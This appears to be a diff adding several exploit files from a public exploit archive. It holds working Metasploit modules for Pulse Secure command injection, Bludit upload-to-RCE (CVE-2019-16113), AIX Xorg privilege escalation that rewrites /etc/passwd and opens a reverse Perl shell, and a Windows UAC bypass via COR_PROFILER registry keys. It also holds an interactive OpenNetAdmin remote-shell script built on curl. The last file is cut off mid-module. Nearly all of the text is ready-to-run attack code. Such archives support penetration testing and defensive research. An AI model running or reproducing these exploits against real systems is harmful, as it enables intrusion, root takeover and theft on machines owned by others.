|
unless res && res.code == 200 && !res.body.include?('500 Internal Error')
|
||||||
|
print_warning('Payload execution may have failed')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good('Payload execution successful')
|
||||||
|
|
||||||
|
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||||
|
print_line(res.body.sub(/\s*<html>.*/m, ''))
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def sploit(cmd)
|
||||||
|
%(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <)
|
||||||
|
end
|
||||||
|
|
||||||
|
def diag_cgi
|
||||||
|
'/dana-admin/diag/diag.cgi'
|
||||||
|
end
|
||||||
|
|
||||||
|
def setcookie_cgi
|
||||||
|
'/dana-na/auth/setcookie.cgi'
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
262
exploits/php/remote/47699.rb
Executable file
262
exploits/php/remote/47699.rb
Executable file
|
@ -0,0 +1,262 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::PhpEXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
|
||||||
|
parameter in the image upload feature in order to save a malicious payload anywhere
|
||||||
|
onto the server, and then use a custom .htaccess file to bypass the file extension
|
||||||
|
check to finally get remote code execution.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'christasa', # Original discovery
|
||||||
|
'sinn3r' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2019-16113'],
|
||||||
|
['URL', 'https://github.com/bludit/bludit/issues/1081'],
|
||||||
|
['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
|
||||||
|
],
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Notes' =>
|
||||||
|
{
|
||||||
|
'SideEffects' => [ IOC_IN_LOGS ],
|
||||||
|
'Reliability' => [ REPEATABLE_SESSION ],
|
||||||
|
'Stability' => [ CRASH_SAFE ]
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Bludit v3.9.2', {} ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "2019-09-07",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
|
||||||
|
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
|
||||||
|
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
class PhpPayload
|
||||||
|
attr_reader :payload
|
||||||
|
attr_reader :name
|
||||||
|
|
||||||
|
def initialize(p)
|
||||||
|
@payload = p
|
||||||
|
@name = "#{Rex::Text.rand_text_alpha(10)}.png"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class LoginBadge
|
||||||
|
attr_reader :username
|
||||||
|
attr_reader :password
|
||||||
|
attr_accessor :csrf_token
|
||||||
|
attr_accessor :bludit_key
|
||||||
|
|
||||||
|
def initialize(user, pass, token, key)
|
||||||
|
@username = user
|
||||||
|
@password = pass
|
||||||
|
@csrf_token = token
|
||||||
|
@bludit_key = key
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'index.php')
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
vprint_error('Connection timed out')
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
html = res.get_html_document
|
||||||
|
generator_tag = html.at('meta[@name="generator"]')
|
||||||
|
unless generator_tag
|
||||||
|
vprint_error('No generator metadata tag found in HTML')
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
content_attr = generator_tag.attributes['content']
|
||||||
|
unless content_attr
|
||||||
|
vprint_error("No content attribute found in metadata tag")
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
if content_attr.value == 'Bludit'
|
||||||
|
return CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_uuid(login_badge)
|
||||||
|
print_status('Retrieving UUID...')
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
|
||||||
|
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'Connection timed out')
|
||||||
|
end
|
||||||
|
|
||||||
|
html = res.get_html_document
|
||||||
|
uuid_element = html.at('input[@name="uuid"]')
|
||||||
|
unless uuid_element
|
||||||
|
fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
|
||||||
|
end
|
||||||
|
|
||||||
|
uuid_val = uuid_element.attributes['value']
|
||||||
|
unless uuid_val && uuid_val.respond_to?(:value)
|
||||||
|
fail_with(Failure::Unknown, 'No UUID value')
|
||||||
|
end
|
||||||
|
|
||||||
|
uuid_val.value
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_file(login_badge, uuid, content, fname)
|
||||||
|
print_status("Uploading #{fname}...")
|
||||||
|
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
|
||||||
|
data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
|
||||||
|
data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
|
||||||
|
'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
|
||||||
|
'data' => data.to_s
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'Connection timed out')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_php_payload_and_exec(login_badge)
|
||||||
|
# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
|
||||||
|
# To: /var/www/html/bludit/bl-content/tmp
|
||||||
|
uuid = get_uuid(login_badge)
|
||||||
|
php_payload = get_php_payload
|
||||||
|
upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)
|
||||||
|
|
||||||
|
# On the vuln app, this line occurs first:
|
||||||
|
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
|
||||||
|
# Even though there is a file extension check, it won't really stop us
|
||||||
|
# from uploading the .htaccess file.
|
||||||
|
htaccess = <<~HTA
|
||||||
|
RewriteEngine off
|
||||||
|
AddType application/x-httpd-php .png
|
||||||
|
HTA
|
||||||
|
upload_file(login_badge, uuid, htaccess, ".htaccess")
|
||||||
|
register_file_for_cleanup('.htaccess')
|
||||||
|
|
||||||
|
print_status("Executing #{php_payload.name}...")
|
||||||
|
send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_php_payload
|
||||||
|
@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_login_badge(res)
|
||||||
|
cookies = res.get_cookies
|
||||||
|
bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''
|
||||||
|
|
||||||
|
html = res.get_html_document
|
||||||
|
csrf_element = html.at('input[@name="tokenCSRF"]')
|
||||||
|
unless csrf_element
|
||||||
|
fail_with(Failure::Unknown, 'No tokenCSRF found')
|
||||||
|
end
|
||||||
|
|
||||||
|
csrf_val = csrf_element.attributes['value']
|
||||||
|
unless csrf_val && csrf_val.respond_to?(:value)
|
||||||
|
fail_with(Failure::Unknown, 'No tokenCSRF value')
|
||||||
|
end
|
||||||
|
|
||||||
|
LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_login
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'Connection timed out')
|
||||||
|
end
|
||||||
|
|
||||||
|
login_badge = get_login_badge(res)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
||||||
|
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
|
||||||
|
'vars_post' =>
|
||||||
|
{
|
||||||
|
'tokenCSRF' => login_badge.csrf_token,
|
||||||
|
'username' => login_badge.username,
|
||||||
|
'password' => login_badge.password
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'Connection timed out')
|
||||||
|
end
|
||||||
|
|
||||||
|
# A new csrf value is generated, need to update this for the upload
|
||||||
|
if res.headers['Location'].to_s.include?('/admin/dashboard')
|
||||||
|
store_valid_credential(user: login_badge.username, private: login_badge.password)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
|
||||||
|
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'Connection timed out')
|
||||||
|
end
|
||||||
|
|
||||||
|
new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
|
||||||
|
login_badge.csrf_token = new_csrf if new_csrf
|
||||||
|
return login_badge
|
||||||
|
end
|
||||||
|
|
||||||
|
fail_with(Failure::NoAccess, 'Authentication failed')
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
login_badge = do_login
|
||||||
|
print_good("Logged in as: #{login_badge.username}")
|
||||||
|
upload_php_payload_and_exec(login_badge)
|
||||||
|
end
|
||||||
|
end
|
23
exploits/php/webapps/47691.sh
Executable file
23
exploits/php/webapps/47691.sh
Executable file
|
@ -0,0 +1,23 @@
|
||||||
|
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
|
||||||
|
# Date: 2019-11-19
|
||||||
|
# Exploit Author: mattpascoe
|
||||||
|
# Vendor Homepage: http://opennetadmin.com/
|
||||||
|
# Software Link: https://github.com/opennetadmin/ona
|
||||||
|
# Version: v18.1.1
|
||||||
|
# Tested on: Linux
|
||||||
|
|
||||||
|
# Exploit Title: OpenNetAdmin v18.1.1 RCE
|
||||||
|
# Date: 2019-11-19
|
||||||
|
# Exploit Author: mattpascoe
|
||||||
|
# Vendor Homepage: http://opennetadmin.com/
|
||||||
|
# Software Link: https://github.com/opennetadmin/ona
|
||||||
|
# Version: v18.1.1
|
||||||
|
# Tested on: Linux
|
||||||
|
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
URL="${1}"
|
||||||
|
while true;do
|
||||||
|
echo -n "$ "; read cmd
|
||||||
|
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
|
||||||
|
done
|
222
exploits/unix/local/47701.rb
Executable file
222
exploits/unix/local/47701.rb
Executable file
|
@ -0,0 +1,222 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Xorg X11 Server Local Privilege Escalation',
|
||||||
|
'Description' => %q(
|
||||||
|
WARNING: Successful execution of this module results in /etc/passwd being overwritten.
|
||||||
|
|
||||||
|
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
|
||||||
|
|
||||||
|
A permission check flaw exists for -modulepath and -logfile options when
|
||||||
|
starting Xorg. This allows unprivileged users that can start the server
|
||||||
|
the ability to elevate privileges and run arbitrary code under root
|
||||||
|
privileges.
|
||||||
|
|
||||||
|
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
|
||||||
|
Due to permission restrictions of the crontab in AIX, this module does not use cron,
|
||||||
|
and instead overwrites /etc/passwd in order to create a new user with root privileges.
|
||||||
|
All currently logged in users need to be included when /etc/passwd is overwritten,
|
||||||
|
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
|
||||||
|
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
|
||||||
|
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
|
||||||
|
overwriting /etc/passwd.
|
||||||
|
),
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Narendra Shinde', # Discovery and original FreeBSD exploit
|
||||||
|
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'DisclosureDate' => 'Oct 25 2018',
|
||||||
|
'Notes' =>
|
||||||
|
{
|
||||||
|
'SideEffects' => [ CONFIG_CHANGES ]
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2018-14665'],
|
||||||
|
['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],
|
||||||
|
['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],
|
||||||
|
['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],
|
||||||
|
['EDB', '45938']
|
||||||
|
],
|
||||||
|
'Platform' => ['unix'],
|
||||||
|
'Arch' => [ARCH_CMD],
|
||||||
|
'SessionTypes' => ['shell'],
|
||||||
|
'Payload' => {
|
||||||
|
'Compat' => {
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'perl'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'Payload' => 'cmd/unix/reverse_perl'
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['IBM AIX Version 6.1', {}],
|
||||||
|
['IBM AIX Version 7.1', {}],
|
||||||
|
['IBM AIX Version 7.2', {}]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 1))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
xorg_path = cmd_exec('command -v Xorg')
|
||||||
|
if !xorg_path.include?('Xorg')
|
||||||
|
print_error('Could not find Xorg executable')
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
ksh93_path = cmd_exec('command -v ksh93')
|
||||||
|
if !ksh93_path.include?('ksh')
|
||||||
|
print_error('Could not find Ksh93 executable')
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
if !xorg_vulnerable?
|
||||||
|
print_error('Xorg version is not vulnerable')
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
status = check
|
||||||
|
|
||||||
|
if status == Exploit::CheckCode::Safe
|
||||||
|
fail_with(Failure::NotVulnerable, '')
|
||||||
|
end
|
||||||
|
|
||||||
|
if !writable?(datastore['WritableDir'])
|
||||||
|
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
|
||||||
|
end
|
||||||
|
|
||||||
|
xorg_path = cmd_exec('command -v Xorg')
|
||||||
|
ksh93_path = cmd_exec('command -v ksh93')
|
||||||
|
|
||||||
|
xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir'])
|
||||||
|
xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
|
||||||
|
upload_and_chmodx(xorg_script_path, xorg_payload)
|
||||||
|
|
||||||
|
passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
|
||||||
|
print_status("Backing up /etc/passwd to #{passwd_backup}")
|
||||||
|
cmd_exec("cp /etc/passwd #{passwd_backup}")
|
||||||
|
register_file_for_cleanup(passwd_backup)
|
||||||
|
|
||||||
|
print_status("Executing #{xorg_script_path}")
|
||||||
|
cmd_exec(xorg_script_path)
|
||||||
|
print_status('Checking if we are root')
|
||||||
|
|
||||||
|
if root?
|
||||||
|
shell_payload = %(#!#{ksh93_path}
|
||||||
|
#{payload.encoded}
|
||||||
|
)
|
||||||
|
shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
|
||||||
|
upload_and_chmodx(shell_script_path, shell_payload)
|
||||||
|
|
||||||
|
print_status('Executing shell payload')
|
||||||
|
cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")
|
||||||
|
|
||||||
|
print_status('Restoring original /etc/passwd')
|
||||||
|
cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
|
||||||
|
else
|
||||||
|
fail_with(Failure::PayloadFailed, '')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_xorg_payload(xorg_path, ksh93_path, writabledir)
|
||||||
|
passwd_file = read_file('/etc/passwd')
|
||||||
|
passwd_array = passwd_file.split("\n")
|
||||||
|
|
||||||
|
print_status('Retrieving currently logged in users')
|
||||||
|
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
|
||||||
|
users << "\n"
|
||||||
|
users_array = users.split("\n")
|
||||||
|
|
||||||
|
logged_in_users = ''
|
||||||
|
if !users_array.empty?
|
||||||
|
users_array.each do |user|
|
||||||
|
user << ':'
|
||||||
|
passwd_array.each do |line|
|
||||||
|
if line.index(user) == 0
|
||||||
|
logged_in_users << '\n'
|
||||||
|
logged_in_users << line
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"
|
||||||
|
|
||||||
|
subdir_count = writabledir.count('/')
|
||||||
|
relative_passwd = '../' * subdir_count + '../../etc/passwd'
|
||||||
|
|
||||||
|
return %(#!#{ksh93_path}
|
||||||
|
#{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def xorg_vulnerable?
|
||||||
|
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
|
||||||
|
print_status("Xorg version is #{version}")
|
||||||
|
semantic_version = Gem::Version.new(version)
|
||||||
|
|
||||||
|
vulnerable_versions = [
|
||||||
|
['6.1.9.0', '6.1.9.100'],
|
||||||
|
['7.1.4.0', '7.1.4.30'],
|
||||||
|
['7.1.5.0', '7.1.5.31'],
|
||||||
|
['7.2.0.0', '7.2.0.1'],
|
||||||
|
['7.2.1.0', '7.2.1.0'],
|
||||||
|
['7.2.2.0', '7.2.2.0'],
|
||||||
|
['7.2.3.0', '7.2.3.15']
|
||||||
|
]
|
||||||
|
|
||||||
|
vulnerable_versions.each do |version_pair|
|
||||||
|
if semantic_version >= Gem::Version.new(version_pair[0]) &&
|
||||||
|
semantic_version <= Gem::Version.new(version_pair[1])
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
def root?
|
||||||
|
id_output = cmd_exec('su - wow -c "id"')
|
||||||
|
|
||||||
|
if id_output.include?('euid=0') || id_output.include?('uid=0')
|
||||||
|
print_good('Got root!')
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
print_error('Not root')
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_and_chmodx(path, data)
|
||||||
|
print_status("Writing to #{path}")
|
||||||
|
rm_f(path)
|
||||||
|
write_file(path, data)
|
||||||
|
cmd_exec("chmod 0555 '#{path}'")
|
||||||
|
|
||||||
|
register_file_for_cleanup(path)
|
||||||
|
end
|
||||||
|
end
|
210
exploits/windows/local/47695.rb
Executable file
210
exploits/windows/local/47695.rb
Executable file
|
@ -0,0 +1,210 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Post::Windows::Priv
|
||||||
|
include Post::Windows::Runas
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)',
|
||||||
|
'Description' => %q(
|
||||||
|
Microsoft Windows allows for the automatic loading of a profiling COM object during
|
||||||
|
the launch of a CLR process based on certain environment variables ostensibly to
|
||||||
|
monitor execution. In this case, we abuse the profiler by pointing to a payload DLL
|
||||||
|
that will be launched as the profiling thread. This thread will run at the permission
|
||||||
|
level of the calling process, so an auto-elevating process will launch the DLL with
|
||||||
|
elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR
|
||||||
|
process, but others would work, too.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'Casey Smith', # UAC bypass discovery and research
|
||||||
|
'"Stefan Kanthak" <stefan.kanthak () nexgo de>', # UAC bypass discovery and research
|
||||||
|
'bwatters-r7', # Module
|
||||||
|
],
|
||||||
|
'Platform' => ['win'],
|
||||||
|
'SessionTypes' => ['meterpreter'],
|
||||||
|
'Targets' => [
|
||||||
|
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Notes' =>
|
||||||
|
{
|
||||||
|
'SideEffects' => [ ARTIFACTS_ON_DISK ]
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'],
|
||||||
|
['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Mar 17 2017'
|
||||||
|
)
|
||||||
|
)
|
||||||
|
register_options(
|
||||||
|
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
|
||||||
|
)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
|
||||||
|
Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def write_reg_value(registry_hash)
|
||||||
|
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
|
||||||
|
begin
|
||||||
|
if not registry_key_exist?(registry_hash[:key_name])
|
||||||
|
registry_createkey(registry_hash[:key_name])
|
||||||
|
registry_hash[:delete_on_cleanup] = true
|
||||||
|
else
|
||||||
|
registry_hash[:delete_on_cleanup] = false
|
||||||
|
end
|
||||||
|
registry_setvaldata(registry_hash[:key_name], \
|
||||||
|
registry_hash[:value_name], \
|
||||||
|
registry_hash[:value_value], \
|
||||||
|
registry_hash[:value_type])
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
print_error(e.to_s)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def remove_reg_value(registry_hash)
|
||||||
|
# we may have already deleted the key
|
||||||
|
return unless registry_key_exist?(registry_hash[:key_name])
|
||||||
|
begin
|
||||||
|
if registry_hash[:delete_on_cleanup]
|
||||||
|
vprint_status("Deleting #{registry_hash[:key_name]} key")
|
||||||
|
registry_deletekey(registry_hash[:key_name])
|
||||||
|
else
|
||||||
|
vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
|
||||||
|
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
|
||||||
|
end
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
print_bad("Unable to clean up registry")
|
||||||
|
print_error(e.to_s)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
check_permissions!
|
||||||
|
case get_uac_level
|
||||||
|
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||||
|
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||||
|
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||||
|
fail_with(Failure::NotVulnerable,
|
||||||
|
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
|
||||||
|
when UAC_DEFAULT
|
||||||
|
print_good('UAC is set to Default')
|
||||||
|
print_good('BypassUAC can bypass this setting, continuing...')
|
||||||
|
when UAC_NO_PROMPT
|
||||||
|
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||||
|
shell_execute_exe
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# get directory locations straight
|
||||||
|
win_dir = session.sys.config.getenv('windir')
|
||||||
|
vprint_status("win_dir = " + win_dir)
|
||||||
|
tmp_dir = session.sys.config.getenv('tmp')
|
||||||
|
vprint_status("tmp_dir = " + tmp_dir)
|
||||||
|
exploit_dir = win_dir + "\\System32\\"
|
||||||
|
vprint_status("exploit_dir = " + exploit_dir)
|
||||||
|
target_filepath = exploit_dir + "gpedit.msc"
|
||||||
|
vprint_status("target_filepath = " + target_filepath)
|
||||||
|
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll'
|
||||||
|
payload_pathname = tmp_dir + '\\' + payload_name
|
||||||
|
|
||||||
|
# make payload
|
||||||
|
vprint_status("Making Payload")
|
||||||
|
vprint_status("payload_pathname = " + payload_pathname)
|
||||||
|
payload = generate_payload_dll
|
||||||
|
|
||||||
|
uuid = SecureRandom.uuid
|
||||||
|
vprint_status("UUID = #{uuid}")
|
||||||
|
reg_keys = []
|
||||||
|
# This reg key will not hurt anything in windows 10+, but is not required.
|
||||||
|
unless sysinfo['OS'] =~ /Windows (2016|10)/
|
||||||
|
reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",
|
||||||
|
value_name: '',
|
||||||
|
value_type: "REG_EXPAND_SZ",
|
||||||
|
value_value: payload_pathname,
|
||||||
|
delete_on_cleanup: false)
|
||||||
|
end
|
||||||
|
reg_keys.push(key_name: "HKCU\\Environment",
|
||||||
|
value_name: "COR_PROFILER",
|
||||||
|
value_type: "REG_SZ",
|
||||||
|
value_value: "{#{uuid}}",
|
||||||
|
delete_on_cleanup: false)
|
||||||
|
reg_keys.push(key_name: "HKCU\\Environment",
|
||||||
|
value_name: "COR_ENABLE_PROFILING",
|
||||||
|
value_type: "REG_SZ",
|
||||||
|
value_value: "1",
|
||||||
|
delete_on_cleanup: false)
|
||||||
|
reg_keys.push(key_name: "HKCU\\Environment",
|
||||||
|
value_name: "COR_PROFILER_PATH",
|
||||||
|
value_type: "REG_SZ",
|
||||||
|
value_value: payload_pathname,
|
||||||
|
delete_on_cleanup: false)
|
||||||
|
reg_keys.each do |key_hash|
|
||||||
|
write_reg_value(key_hash)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Upload payload
|
||||||
|
vprint_status("Uploading Payload to #{payload_pathname}")
|
||||||
|
write_file(payload_pathname, payload)
|
||||||
|
